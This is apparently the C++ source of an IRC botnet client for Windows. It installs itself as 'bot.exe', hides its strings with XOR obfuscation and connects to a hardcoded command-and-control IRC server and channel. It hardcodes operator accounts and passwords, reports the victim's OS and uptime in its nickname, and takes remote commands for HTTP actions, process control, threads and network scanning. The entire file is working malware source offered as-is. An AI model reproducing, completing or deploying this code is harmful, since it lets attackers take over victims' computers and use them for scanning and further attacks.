/*#include #include #include #include "IrcBase.h" #include "Commands.h" #include "UserManagement.h" #include "cXorString.h" #include "Startup.h" #include "Debug.h"*/ #include "Includes.h" #pragma warning ( disable:4172 ) #ifdef _DEBUG int main(int argc, char *argv[]) #else int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) #endif { #ifndef _DEBUG gStartup.Install( /*bot.exe*/XorStr<0x26,8,0xB874C7F4>("\x44\x48\x5C\x07\x4F\x53\x49"+0xB874C7F4).s, /*This is a bot*/XorStr<0x66,14,0xF821DEAE>("\x32\x0F\x01\x1A\x4A\x02\x1F\x4D\x0F\x4F\x12\x1E\x06"+0xF821DEAE).s, /*This is a bot*/XorStr<0x66,14,0xF821DEAE>("\x32\x0F\x01\x1A\x4A\x02\x1F\x4D\x0F\x4F\x12\x1E\x06"+0xF821DEAE).s ); #endif #ifndef INSTALL_SERVICE BotMain(); #endif return 0; } void WINAPI BotMain() { WSADATA wsaData; WSAStartup(MAKEWORD(1,1),&wsaData); cIrc gIrc; //gUsr.AddUser( // /*pooface*/XorStr<0x1F,8,0xBD088BF6>("\x6F\x4F\x4E\x44\x42\x47\x40"+0xBD088BF6).s, // /*lolkthx*/XorStr<0xCE,8,0x958B88BB>("\xA2\xA0\xBC\xBA\xA6\xBB\xAC"+0x958B88BB).s, // /**!*@*.co.nz*/XorStr<0xDE,12,0x4D042104>("\xF4\xFE\xCA\xA1\xC8\xCD\x87\x8A\xC8\x89\x92"+0x4D042104).s //); gUsr.AddUser("g","hax","*!*@*"); gUsr.AddUser("mc0","haxrno1","*!*@*.for.m0ney.org"); gUsr.AddUser("x","hax","*!*@*"); gUsr.AddUser("ink","haxrno1","*!*@*"); gIrc.AddServer(/*irc.pen15krew.com*/XorStr<0x8A,18,0xD9743333>("\xE3\xF9\xEF\xA3\xFE\xEA\xFE\xA0\xA7\xF8\xE6\xF0\xE1\xB9\xFB\xF6\xF7"+0xD9743333).s,"",7998); gIrc.AddChan(/*#og*/XorStr<0xC1,4,0x5803C28F>("\xE2\xAD\xA4"+0x5803C28F).s, ""); gIrc.cmds.AddCommand(/*/public*/XorStr<0x7B,8,0xDB79A1FA>("\x54\x0C\x08\x1C\x13\xE9\xE2"+0xDB79A1FA).s,&irc_publiccmd,true); gIrc.cmds.AddCommand(/*/bot*/XorStr<0xE4,5,0x0D019BD2>("\xCB\x87\x89\x93"+0x0D019BD2).s,&irc_botcmd,false); gIrc.cmds.AddCommand(/*/http*/XorStr<0x5F,6,0x5BDBC0D4>("\x70\x08\x15\x16\x13"+0x5BDBC0D4).s,&irc_httpcmd,false); gIrc.cmds.AddCommand(/*/threads*/XorStr<0x39,9,0x87FB282B>("\x16\x4E\x53\x4E\x58\x5F\x5B\x33"+0x87FB282B).s,&irc_threadscmd,false); gIrc.cmds.AddCommand(/*/process*/XorStr<0x07,9,0xB45265D8>("\x28\x78\x7B\x65\x68\x69\x7E\x7D"+0xB45265D8).s,&irc_processcmd,false); gIrc.cmds.AddCommand(/*/scan*/XorStr<0x45,6,0x69187B47>("\x6A\x35\x24\x29\x27"+0x69187B47).s,&irc_scancmd,false); while (1) { for (int i = 0; i < (int)gIrc.gServers.size(); i++) { if (gIrc.start(gIrc.gServers[i].szServer,gIrc.gServers[i].iPort,gIrc.gServers[i].szPass)) { gIrc.recvloop(); } } } WSACleanup(); } cIrc::cIrc() { rnd_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"; bConnected = false; } bool WINAPI cIrc::start(char* szServer,int iPort,char* szPassword) { if (bConnected) return false; LPHOSTENT hostEntry; IN_ADDR inAddr; SOCKADDR_IN serverInfo; char szSendBuf[512]; // set socket information memset(&serverInfo,0,sizeof(serverInfo)); serverInfo.sin_family = AF_INET; serverInfo.sin_port = htons(iPort); // resolve hostname or ip inAddr.s_addr = inet_addr(szServer); if (inAddr.s_addr == INADDR_NONE) hostEntry = gethostbyname(szServer); if (hostEntry == NULL) hostEntry = gethostbyaddr((const char *)&inAddr, sizeof(struct in_addr), AF_INET); if (hostEntry == NULL) return false; serverInfo.sin_addr = *((LPIN_ADDR)*hostEntry->h_addr_list); // create socket irc_socket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (irc_socket == INVALID_SOCKET) return false; // try and connect if (connect(irc_socket,(LPSOCKADDR)&serverInfo,sizeof(struct sockaddr)) == SOCKET_ERROR) return false; // setup + send send user info rnduser(szIdent); rndnick(szNick); sprintf(szSendBuf, "%s %s\r\n",/*PASS*/XorStr<0xFB,5,0x864CB45B>("\xAB\xBD\xAE\xAD"+0x864CB45B).s, szPassword); #ifdef _DEBUG DebugConsole("Sending ... %s",szSendBuf); #endif send(irc_socket,szSendBuf,strlen(szSendBuf),0); sprintf(szSendBuf,"%s %s\r\n" "%s %s \"\" \"%s\" :%s\r\n", /*NICK*/XorStr<0xF0,5,0xA8892AB5>("\xBE\xB8\xB1\xB8"+0xA8892AB5).s,szNick,/*USER*/XorStr<0x7C,5,0x3FCD23E8>("\x29\x2E\x3B\x2D"+0x3FCD23E8).s,szIdent,szIdent,szIdent); #ifdef _DEBUG DebugConsole("Sending ... %s",szSendBuf); #endif if (send(irc_socket,szSendBuf,strlen(szSendBuf),0) == SOCKET_ERROR) return false; // set connected variable bConnected = true; return true; } void cIrc::recvloop() { int iRecv; while (1) { memset(recv_buff,0,sizeof(recv_buff)); iRecv = recv(irc_socket,recv_buff,1023,0); if (!iRecv || iRecv == SOCKET_ERROR || !bConnected) break; recv_buff[iRecv] = 0x00; split_line(recv_buff); } } void cIrc::split_line(char* szLine) { vector szTmpLine; szTmpLine = ParseIRCBuffer(szLine, "\r\n"); for (int k=0;k iBuffer; iBuffer = ParseIRCBuffer(szTmpLine[k], " "); if (iBuffer.size()>1) { parse_line(iBuffer); #ifdef _DEBUG DebugConsole((char*)szTmpLine[k].c_str()); #endif } } } void cIrc::parse_line(vector szParam) { if (!bConnected) return; std::string szSendBuf; if(szParam[0].compare(/*PING*/XorStr<0x5F,5,0x85ABD8E9>("\x0F\x29\x2F\x25"+0x85ABD8E9).s) == 0) { szSendBuf = /*PONG */XorStr<0xF8,6,0x6327031E>("\xA8\xB6\xB4\xBC\xDC"+0x6327031E).s; szSendBuf += szParam[1]; #ifdef _DEBUG DebugConsole("-> %s",szSendBuf.c_str()); #endif send(irc_socket,szSendBuf.c_str(),szSendBuf.length(),0); } else if (szParam[1].compare("001") == 0) { } else if (szParam[1].compare("005") == 0) { for (int i = 0; i < gChans.size(); i++) join(gChans[i].szChan,gChans[i].szPass); } else if (szParam[1].compare("433") == 0) { rndnick(szNick); nick(szNick); } else if (szParam[1].compare(/*KICK*/XorStr<0xD6,5,0x4630A762>("\x9D\x9E\x9B\x92"+0x4630A762).s) == 0) { for(int i = 0;i < (int)gChans.size();i++) { if(!strcmp(szParam[2].c_str(),gChans[i].szChan)) { join(gChans[i].szChan,gChans[i].szPass); break; } } } else if (szParam[1].compare(/*TOPIC*/XorStr<0x49,6,0x75F93D29>("\x1D\x05\x1B\x05\x0E"+0x75F93D29).s) == 0 || szParam[1].compare("332") == 0) { parse_cmd(szParam,true); } else if (szParam[1].compare(/*PRIVMSG*/XorStr<0x6B,8,0x9D550FF6>("\x3B\x3E\x24\x38\x22\x23\x36"+0x9D550FF6).s) == 0) { parse_cmd(szParam,false); } } void cIrc::parse_cmd(vector szToken, bool bTopic) { host_info hostInfo; int iTer; string szSendBuf; szToken[0] = szToken[0].substr(1,szToken[0].length()); if(szToken[3].find_first_of('#') != string::npos) { iTer = 4; strcpy(hostInfo.szFullHost,"*!*@*"); strcpy(hostInfo.szHost,"*"); strcpy(hostInfo.szIdent,"*"); strcpy(hostInfo.szNick,"*"); } else { iTer = 3; strcpy(hostInfo.szFullHost,szToken[0].c_str()); strcpy(hostInfo.szHost,szToken[0].substr(szToken[0].find_first_of('@'),szToken[0].find_first_of(' ')).c_str()); strcpy(hostInfo.szIdent,szToken[0].substr(szToken[0].find_first_of('!'),szToken[0].find_first_of('@')).c_str()); strcpy(hostInfo.szNick,szToken[0].substr(0,szToken[0].find_first_of('!')).c_str()); } strcpy(hostInfo.szTarget,szToken[iTer-1].c_str()); hostInfo.bSilent = false; hostInfo.Socket = irc_socket; hostInfo.gIrc = ((cIrc)*this); szToken.erase(szToken.begin(), szToken.begin() + iTer); szToken[0] = szToken[0].substr(1,szToken[0].length()); for(int i = 0;i < szToken.size();i++) { if(szToken[i].compare("-s") == 0) hostInfo.bSilent = true; } int iCmd = cmds.FindCommand(szToken[0].c_str()); #ifdef _DEBUG DebugConsole("Cmd -> %s (%d)",szToken[0].c_str(),iCmd); #endif if (iCmd != -1) { if(!gUsr.IsLoggedIn(hostInfo.szNick) && cmds.Commands[iCmd].bAllAccess) { #ifdef _DEBUG DebugConsole("DEBUG -> All Access Command Executed."); #endif cmds.Commands[iCmd].function(szToken,hostInfo); } else if (gUsr.IsLoggedIn(hostInfo.szNick) || bTopic) cmds.Commands[iCmd].function(szToken,hostInfo); } } vector cIrc::ParseIRCBuffer(string vBuffer, string type) { vector contents; int currentpos = -1; int prevpos = 0; int counter = 0; while (1) { currentpos = vBuffer.find(type, prevpos); if (currentpos == -1) break; contents.push_back(vBuffer.substr(prevpos, currentpos-prevpos)); prevpos = currentpos+type.length(); } contents.push_back(vBuffer.substr(prevpos, vBuffer.length()-prevpos-type.length()+1)); return contents; } void cIrc::rndnick(char* szBuf) { memset(szBuf,0,sizeof(szBuf)); string szTemp("["); srand(GetTickCount()); szTemp.append(GetConnectionType(false)); szTemp.append(SystemOS(false)); szTemp.append(GetUptime(false)); szTemp.append("]"); for (int i = 0;i < 8;i++) szTemp += rnd_chars[(rand()%strlen(rnd_chars))]; szTemp.copy(szBuf,szTemp.length()); } void cIrc::rnduser(char* szBuf) { memset(szBuf,0,sizeof(szBuf)); srand(GetTickCount()); szBuf[0] = rnd_chars[(rand()%52)]; for (int i = 1; i < 8; i++) szBuf[i] = rnd_chars[(rand()%strlen(rnd_chars))]; szBuf[i] = 0x00; } void cIrc::disconnect() { if (bConnected) { quit(/*Leaving*/XorStr<0x29,8,0x48C9C2AB>("\x65\x4F\x4A\x5A\x44\x40\x48"+0x48C9C2AB).s); bConnected=false; closesocket(irc_socket); } } int cIrc::quit(char* quit_message) { char sendbuf[512]; if (bConnected) { if (quit_message) sprintf(sendbuf, "%s :%s\r\n",/*QUIT*/XorStr<0x22,5,0xB986F1C4>("\x73\x76\x6D\x71"+0xB986F1C4).s,quit_message); else sprintf(sendbuf, "%s\r\n",/*QUIT*/XorStr<0x22,5,0xB986F1C4>("\x73\x76\x6D\x71"+0xB986F1C4).s); send(irc_socket,sendbuf,strlen(sendbuf),0); } return 0; } int cIrc::notice(char* target, char* message) { if (!bConnected) return 1; char sendbuf[512]; sprintf(sendbuf, "%s %s :%s\r\n",/*NOTICE*/XorStr<0x09,7,0x114512D8>("\x47\x45\x5F\x45\x4E\x4B"+0x114512D8).s, target, message); return send(irc_socket,sendbuf,strlen(sendbuf),0); } int cIrc::notice(char* fmt, ...) { va_list argp; //char* target; if (!bConnected) return 1; char sendbuf[512]; va_start(argp, fmt); sprintf(sendbuf, "%s %s :",/*NOTICE*/XorStr<0x09,7,0x114512D8>("\x47\x45\x5F\x45\x4E\x4B"+0x114512D8).s, fmt); vsprintf(sendbuf, va_arg(argp, char*), argp); va_end(argp); sprintf(sendbuf, "\r\n"); return send(irc_socket,sendbuf,strlen(sendbuf),0); } /*int cIrc::privmsg(char* target, char* message) { if (!bConnected) return 1; char sendbuf[512]; sprintf(sendbuf, "%s %s :%s\r\n",/*PRIVMSG* /XorStr<0xE4,8,0x1384AE7A>("\xB4\xB7\xAF\xB1\xA5\xBA\xAD"+0x1384AE7A).s, target, message); return send(irc_socket,sendbuf,strlen(sendbuf),0); } int cIrc::privmsg(char* fmt, ...) { va_list argp; //char* target; if (!bConnected) return 1; char sendbuf[512]; va_start(argp, fmt); sprintf(sendbuf, "%s %s :",/*PRIVMSG* /XorStr<0xE4,8,0x1384AE7A>("\xB4\xB7\xAF\xB1\xA5\xBA\xAD"+0x1384AE7A).s, fmt); vsprintf(sendbuf, va_arg(argp, char*), argp); va_end(argp); sprintf(sendbuf, "\r\n"); return send(irc_socket,sendbuf,strlen(sendbuf),0); }*/ int cIrc::privmsg(char* target, char* message, ...) { if (!bConnected) return 1; char tbuffer[(514-(18+10))]; va_list argp; va_start(argp,message); _vsnprintf(tbuffer,sizeof(tbuffer),message,argp); string szBuf("PRIVMSG "); szBuf.append(target); szBuf.append(" :"); szBuf.append(tbuffer); szBuf.append("\r\n"); #ifdef _DEBUG DebugConsole("-> %s",szBuf.c_str()); #endif int iret=send(irc_socket,szBuf.c_str(),szBuf.length(),0); Sleep(2000); return iret; } int cIrc::join(char* channel, char* chanpass) { if (!bConnected) return 1; char sendbuf[512]; sprintf(sendbuf, "%s %s %s\r\n",/*JOIN*/XorStr<0x46,5,0x6D3025B5>("\x0C\x08\x01\x07"+0x6D3025B5).s, channel, chanpass); return send(irc_socket,sendbuf,strlen(sendbuf),0); } int cIrc::part(char* channel) { if (!bConnected) return 1; char sendbuf[512]; sprintf(sendbuf, "%s %s\r\n",/*PART*/XorStr<0x61,5,0x7F67F267>("\x31\x23\x31\x30"+0x7F67F267).s, channel); return send(irc_socket,sendbuf,strlen(sendbuf),0); } int cIrc::raw(char* data) { if (!bConnected) return 1; char sendbuf[512]; sprintf(sendbuf, "%s\r\n", data); return send(irc_socket,sendbuf,strlen(sendbuf),0); } int cIrc::mode(char* channel, char* modes, char* targets) { if (!bConnected) return 1; char sendbuf[512]; if (!targets) sprintf(sendbuf, "%s %s %s\r\n",/*MODE*/XorStr<0x59,5,0xD14C3309>("\x14\x15\x1F\x19"+0xD14C3309).s, channel, modes); else sprintf(sendbuf, "%s %s %s %s\r\n",/*MODE*/XorStr<0x59,5,0xD14C3309>("\x14\x15\x1F\x19"+0xD14C3309).s, channel, modes, targets); return send(irc_socket,sendbuf,strlen(sendbuf),0); } int cIrc::nick(char* newnick) { if (!bConnected) return 1; char sendbuf[512]; sprintf(sendbuf, "%s %s\r\n",/*NICK*/XorStr<0x30,5,0x1A910A8B>("\x7E\x78\x71\x78"+0x1A910A8B).s, newnick); return send(irc_socket,sendbuf,strlen(sendbuf),0); } void cIrc::AddChan(char* szChan,char* szPass) { config_chans tmpChan; strcpy(tmpChan.szChan,szChan); strcpy(tmpChan.szPass,szPass); gChans.push_back(tmpChan); } void cIrc::AddServer(char* szServer,char* szPass,int iPort) { config_servers tmpServ; tmpServ.iPort = iPort; strcpy(tmpServ.szServer,szServer); strcpy(tmpServ.szPass,szPass); gServers.push_back(tmpServ); }